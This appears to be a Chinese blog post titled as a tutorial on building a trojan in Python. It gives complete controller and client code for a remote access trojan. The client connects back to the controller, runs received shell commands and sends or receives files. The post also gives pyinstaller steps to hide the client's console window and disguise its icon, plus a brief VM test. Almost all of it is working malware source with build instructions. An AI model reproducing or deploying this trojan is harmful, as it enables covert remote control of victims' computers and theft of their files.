
Python制作木马病毒程序
2026-01-10 发布62 浏览 · 0 点赞 · 0 收藏
运行终端模拟控制
srever端代码
import socket
import struct
import json
sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sk.bind(("0.0.0.0",8000))
sk.listen()
def recv(conn,total_size):
recv_size=0
recv_msg=b""
while recv_size < total_size:
if (total_size-recv_size) >1024:
recv_buffer=1024
else:
recv_buffer=total_size-recv_size
recv_data=conn.recv(recv_buffer)
recv_msg+=recv_data
recv_size+=len(recv_data)
return recv_msg
def put_file(conn,server_file_path,client_file_path):
import os
import hashlib
#首先检查文件是否存在
if not os.path.isfile(server_file_path):
return False
else:
#读取本地文件
with open(server_file_path,'rb')as f:
file_data=f.read()
md5=hashlib.md5(file_data).hexdigest()
#构造文件头
header={
'client_file_path':client_file_path,
'total_size':len(file_data),
'md5':md5
}
header_data=json.dumps(header).encode('utf-8')
conn.send(struct.pack('i',len(header_data)))
conn.send(header_data)
conn.send(file_data)
return True
while True:
print('等待主机上线...')
conn,addr=sk.accept()
print(f"{addr}已经上线")
while True:
cmd=input('>>> ')
if cmd == 'q':
conn.close()
break
elif cmd.startswith('getfile'):
conn.send(cmd.encode('utf-8'))
# 接收header的长度信息
header_size = struct.unpack('i', conn.recv(4))[0]
# 接收header 并且还原为字典
header = json.loads(conn.recv(header_size).decode('utf-8'))
filename=header['filename']
with open(filename,'wb') as f:
f.write(recv(conn,header['total_size']))
print(f"header:{filename}接收完毕")
continue
elif cmd.startswith('putfile'):
parts = cmd.strip().split()
if len(parts) != 3:
print("命令格式错误!正确格式:putfile 服务端文件路径 客户端完整文件路径")
continue
server_file_path = cmd.strip().split()[1]
client_file_path = cmd.strip().split()[2]
# 发送putfile命令给客户端
conn.send(cmd.encode('utf-8'))
if put_file(conn, server_file_path,client_file_path):
print(f"上传成功:{server_file_path} 已发送到客户端")
else:
print(f"上传失败:服务端本地文件 {server_file_path} 不存在")
continue
conn.send(cmd.encode('utf-8'))
#接收header的长度信息
header_size=struct.unpack('i',conn.recv(4))[0]
#接收header 并且还原为字典
header=json.loads(conn.recv(header_size).decode('utf-8'))
print(f"收到的头部为{header}")
#接收数据
recv_data=recv(conn,header['total_size'])
print(recv_data.decode('utf-8'))
client端代码
import socket
import struct
import os
import hashlib
import time
import json
sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sk.connect(("127.0.0.1",8000))
def recv(conn,total_size):
recv_size=0
recv_msg=b""
while recv_size < total_size:
if (total_size-recv_size) >1024:
recv_buffer=1024
else:
recv_buffer=total_size-recv_size
recv_data=conn.recv(recv_buffer)
recv_msg+=recv_data
recv_size+=len(recv_data)
return recv_msg
def send(data,filename=None):
now=str(time.time())
md5=hashlib.md5()
md5.update(data)
md5.update(now.encode('utf-8'))
md5_str=md5.hexdigest()
# 构造header数据
header=json.dumps({
'filename':filename,
'md5':md5_str,
'time':now,
'total_size':len(data)
}).encode('utf-8')
#先发送header数据的大小
header_size=len(header)
packet_size=struct.pack('i',header_size)
sk.send(packet_size)
print(f"已发送{header_size}字节的header数据")
#发送header数据
sk.send(header)
#发送完整数据
sk.send(data)
while True:
cmd=sk.recv(1024).decode('utf-8')
file_name = None
if cmd.startswith('getfile'):
file_path=cmd.strip().split()[-1]
file_name=file_path.split('\\')[-1]
print(file_path)
with open(file_path,'rb')as f:
data=f.read()
send(data, file_name)
elif cmd.startswith('putfile'):
#接收文件头
header_size=struct.unpack('i',sk.recv(4))[0]
header=json.loads(sk.recv(header_size).decode('utf-8'))
#接收文件数据
file_data=recv(sk,header['total_size'])
#md5校验
if hashlib.md5(file_data).hexdigest()!=header['md5']:
pass
else:
client_file_path=header['client_file_path']
#若目录不存在则直接自动创建客户端目录
client_dir=os.path.dirname(client_file_path)
if not os.path.exists(client_dir):
os.makedirs(client_dir,exist_ok=True)
#保存文件到客户端
with open(client_file_path,'wb')as f:
f.write(file_data)
print(f"已接收{client_file_path}共{header['total_size']}字节")
else:
data=os.popen(cmd).read().encode('utf-8')
send(data,file_name)
print(f"已发送{len(data)}字节的数据")
首先开启server端的监听
然后运行client端
![[file-20251025181515250.png]]

可以实现执行cmd命令、下载、上传文件的功能
编译成exe文件模拟控制
首先需要将client端的连接改成当前主机ip地址
![[file-20251025182731610.png]]

找到client端所在代码的文件夹,打开终端
执行cmd命令
pyinstaller --noconsole -F client7.py
可以通过 -i 来指定图片 作为exe的图标
![[file-20251025182216860.png]]

文件成功生成
![[file-20251025182248143.png]]

打开虚拟机测试
首先在终端开启监听
然后在虚拟机中运行此文件
![[file-20251025182944219.png]]

成功连接
执行远程cmd命令
![[file-20251025183028542.png]]

请前往 登录/注册 即可发表您的看法…


